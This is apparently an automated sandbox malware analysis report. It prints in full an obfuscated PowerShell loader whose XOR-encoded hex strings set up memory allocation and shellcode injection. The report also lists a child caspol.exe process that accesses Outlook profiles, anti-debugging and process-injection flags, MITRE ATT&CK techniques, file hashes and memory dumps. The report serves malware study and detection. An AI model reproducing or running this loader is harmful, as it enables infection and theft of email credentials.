    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$Loathsomely); $Staford = New-Object byte[] ($Loathsomely.Length / 2); For($Specialanvendelsens=0; $Specialanvendelsens -lt $Loathsomely.Length; $Specialanvendelsens+=2){ $Staford[$Specialanvendelsens/2] = [convert]::ToByte($Loathsomely.Substring($Specialanvendelsens, 2), 16); $Staford[$Specialanvendelsens/2] = ($Staford[$Specialanvendelsens/2] -bxor 22); } [String][System.Text.Encoding]::ASCII.GetString($Staford);}$Funks0=HTB '456F6562737B38727A7A';$Funks1=HTB '5B7F7564796579706238417F782524384378657770735877627F60735B73627E797265';$Funks2=HTB '5173624664797557727264736565';$Funks3=HTB '456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A73447370';$Funks4=HTB '6562647F7871';$Funks5=HTB '5173625B7972637A735E7778727A73';$Funks6=HTB '4442456673757F777A58777B733A365E7F7273546F457F713A364663747A7F75';$Funks7=HTB '446378627F7B733A365B777877717372';$Funks8=HTB '4473707A737562737252737A7371776273';$Funks9=HTB '5F785B737B79646F5B7972637A73';$Uerkendeligt0=HTB '5B6F52737A7371776273426F6673';$Uerkendeligt1=HTB '557A7765653A364663747A7F753A364573777A73723A365778657F557A7765653A3657636279557A776565';$Uerkendeligt2=HTB '5F7860797D73';$Uerkendeligt3=HTB '4663747A7F753A365E7F7273546F457F713A36587361457A79623A36407F646263777A';$Uerkendeligt4=HTB '407F646263777A577A7A7975';$Uerkendeligt5=HTB '7862727A7A';$Uerkendeligt6=HTB '586246647962737562407F646263777A5B737B79646F';$Uerkendeligt7=HTB '5F534E';$Uerkendeligt8=HTB '4A';function fkp {Param ($Kilowatt, $Basilicate) ;$Sandsynliggrer0 =HTB '3243657B7B737A7F7173362B363E4D57666652797B777F784B2C2C5563646473786252797B777F7838517362576565737B747A7F73653E3F366A36417E7364733B59747C737562366D36324938517A7974777A576565737B747A6F5577757E73363B577872363249385A797577627F79783845667A7F623E324373647D737872737A7F71622E3F4D3B274B38536763777A653E325063787D65263F366B3F38517362426F66733E325063787D65273F';&($Uerkendeligt7) $Sandsynliggrer0;$Sandsynliggrer5 = HTB '32466473707964717F607378362B363243657B7B737A7F7173385173625B73627E79723E325063787D65243A364D426F66734D4B4B36563E325063787D65253A36325063787D65223F3F';&($Uerkendeligt7) $Sandsynliggrer5;$Sandsynliggrer1 = HTB '6473626364783632466473707964717F607378385F7860797D733E3278637A7A3A36563E4D456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A734473704B3E5873613B59747C73756236456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A734473703E3E5873613B59747C737562365F78624662643F3A363E3243657B7B737A7F7173385173625B73627E79723E325063787D65233F3F385F7860797D733E3278637A7A3A36563E325D7F7A79617762623F3F3F3F3A36325477657F7A7F757762733F3F';&($Uerkendeligt7) $Sandsynliggrer1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $transits,[Parameter(Position = 1)] [Type] $forhandlingspuljernes = [Void]);$Sandsynliggrer2 = HTB '32546378727A7F787F7365362B364D57666652797B777F784B2C2C5563646473786252797B777F78385273707F7873526F78777B7F75576565737B747A6F3E3E5873613B59747C73756236456F6562737B384473707A7375627F797838576565737B747A6F58777B733E325063787D652E3F3F3A364D456F6562737B384473707A7375627F797838537B7F6238576565737B747A6F54637F7A7273645775757365654B2C2C4463783F385273707F7873526F78777B7F755B7972637A733E325063787D652F3A363270777A65733F385273707F7873426F66733E324373647D737872737A7F7162263A36324373647D737872737A7F7162273A364D456F6562737B385B637A627F7577656252737A73717762734B3F';&($Uerkendeligt7) $Sandsynliggrer2;$Sandsynliggrer3 = HTB '32546378727A7F787F7365385273707F787355797865626463756279643E325063787D65203A364D456F6562737B384473707A7375627F79783855777A7A7F7871557978607378627F7978654B2C2C45627778727764723A363262647778657F62653F384573625F7B667A737B73786277627F7978507A7771653E325063787D65213F';&($Uerkendeligt7) $Sandsynliggrer3;$Sandsynliggrer4 = HTB '32546378727A7F787F7365385273707F78735B73627E79723E324373647D737872737A7F7162243A36324373647D737872737A7F7162253A36327079647E7778727A7F78716566637A7C73647873653A363262647778657F62653F384573625F7B667A737B73786277627F7978507A7771653E325063787D65213F';&($Uerkendeligt7) $Sandsynliggrer4;$Sandsynliggrer5 = HTB '6473626364783632546378727A7F787F736538556473776273426F66733E3F';&($Uerkendeligt7) $Sandsynliggrer5 ;}$stiliseredes = HTB '7D736478737A2524';$Sandsynliggrer6 = HTB '325D7F72727F7364362B364D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C51736252737A737177627350796450637875627F797846797F786273643E3E707D66363265627F7A7F6573647372736536324373647D737872737A7F7162223F3A363E51524236563E4D5F78624662644B3A364D435F786225244B3A364D435F786225244B3A364D435F786225244B3F363E4D5F78624662644B3F3F3F';&($Uerkendeligt7) $Sandsynliggrer6;$Nedslagenes = fkp $Uerkendeligt5 $Uerkendeligt6;$Sandsynliggrer7 = HTB '324473786565777875736425362B36325D7F72727F7364385F7860797D733E4D5F78624662644B2C2C4C7364793A362520213A36266E252626263A36266E22263F';&($Uerkendeligt7) $Sandsynliggrer7;$Sandsynliggrer8 = HTB '325763647F607964796365362B36325D7F72727F7364385F7860797D733E4D5F78624662644B2C2C4C7364793A36266E2726262626263A36266E252626263A36266E223F';&($Uerkendeligt7) $Sandsynliggrer8;$Renssancer00='HKCU:\Lrredskjolens\Overmerit';$Renssancer01 =HTB '32467E7F7A7778627E6479666F2B3E5173623B5F62737B466479667364626F363B4677627E36324473786565777875736426263F38727F6462667A776273';&($Uerkendeligt7) $Renssancer01;$Sandsynliggrer9 = HTB '3245777872656F787A7F7171647364362B364D456F6562737B38557978607364624B2C2C5064797B5477657320224562647F78713E32467E7F7A7778627E6479666F3F';&($Uerkendeligt7) $Sandsynliggrer9;$Philanthropy0 = HTB '4D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C5579666F3E3245777872656F787A7F71716473643A36263A36363244737865657778757364253A362520213F';&($Uerkendeligt7) $Philanthropy0;$Arbejdsmiljinstitutternes=$Sandsynliggrer.count-367;$Philanthropy1 = HTB '4D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C5579666F3E3245777872656F787A7F71716473643A362520213A36325763647F6079647963653A3632576474737C72657B7F7A7C7F7865627F6263626273647873653F';&($Uerkendeligt7) $Philanthropy1;$Philanthropy2 = HTB '3255637A627F657E272422362B364D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C51736252737A737177627350796450637875627F797846797F786273643E3244737865657778757364253A363E51524236563E4D5F78624662644B3A4D5F78624662644B3F363E4D40797F724B3F3F3F';&($Uerkendeligt7) $Philanthropy2;$Philanthropy3 = HTB '3255637A627F657E272422385F7860797D733E325763647F6079647963653A32587372657A7771737873653F';&($Uerkendeligt7) $Philanthropy3#"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Checks QEMU agent file
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a5138b824b4e4109f057ab82aa0affa4

SHA1
515b943c07874b04b4723fafeaf3483b4c22d17a

SHA256
a6f3a3f3f959f61b4ca0a23da41d970a248749181d0dd003849d28c371c31825

SHA512
ce13d76bbed662ac0955f7c3112e59b12710b1a961753d62a110951ee7ad95076185cffc20a5b84299e6b81130180fbad0a2270bf9e4602c25c5001fa124711d

Download Submit
memory/1128-61-0x0000000074B51000-0x0000000074B53000-memory.dmp

Filesize
8KB

Download
memory/1128-88-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

Filesize
1024KB

Download
memory/1128-89-0x00000000770D0000-0x0000000077250000-memory.dmp

Filesize
1.5MB

Download
memory/1128-72-0x00000000770D0000-0x0000000077250000-memory.dmp

Filesize
1.5MB

Download
memory/1128-76-0x00000000770D0000-0x0000000077250000-memory.dmp

Filesize
1.5MB

Download
memory/1128-75-0x00000000770D0000-0x0000000077250000-memory.dmp

Filesize
1.5MB

Download
memory/1128-64-0x0000000072FE0000-0x000000007358B000-memory.dmp

Filesize
5.7MB

Download
memory/1128-65-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

Filesize
1024KB

Download
memory/1128-66-0x0000000072FE0000-0x000000007358B000-memory.dmp

Filesize
5.7MB

Download
memory/1128-67-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

Filesize
1024KB

Download
memory/1128-73-0x00000000770D0000-0x0000000077250000-memory.dmp

Filesize
1.5MB

Download
memory/1128-71-0x0000000076EF0000-0x0000000077099000-memory.dmp

Filesize
1.7MB

Download
memory/1444-81-0x0000000076EF0000-0x0000000077099000-memory.dmp

Filesize
1.7MB

Download
memory/1444-84-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1444-74-0x0000000000110000-0x0000000000210000-memory.dmp

Filesize
1024KB

Download
memory/1444-87-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1444-77-0x0000000000110000-0x0000000000210000-memory.dmp

Filesize
1024KB

Download
memory/1444-85-0x0000000000401000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1688-62-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1688-58-0x000007FEF3D90000-0x000007FEF47B3000-memory.dmp

Filesize
10.1MB

Download
memory/1688-59-0x000007FEF3230000-0x000007FEF3D8D000-memory.dmp

Filesize
11.4MB

Download
memory/1688-63-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1688-90-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1724-55-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing